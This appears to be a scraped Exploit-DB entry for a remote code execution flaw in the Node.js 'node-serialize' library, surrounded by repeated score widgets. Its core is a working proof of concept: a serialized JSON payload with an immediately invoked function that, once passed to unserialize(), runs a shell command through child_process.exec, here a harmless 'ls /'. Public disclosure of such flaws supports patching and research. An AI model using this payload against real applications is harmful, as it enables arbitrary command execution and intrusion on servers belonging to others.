Node.JS - 'node-serialize' Remote Code Execution

2017-02-0800:00:00

OpSecX

www.exploit-db.com

125

7.4 High

AI Score

Confidence

Low

JSON

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

7.4 High

AI Score

Confidence

Low

JSON

Node.JS - &#039;node-serialize&#039; Remote Code Execution

Node.JS - 'node-serialize' Remote Code Execution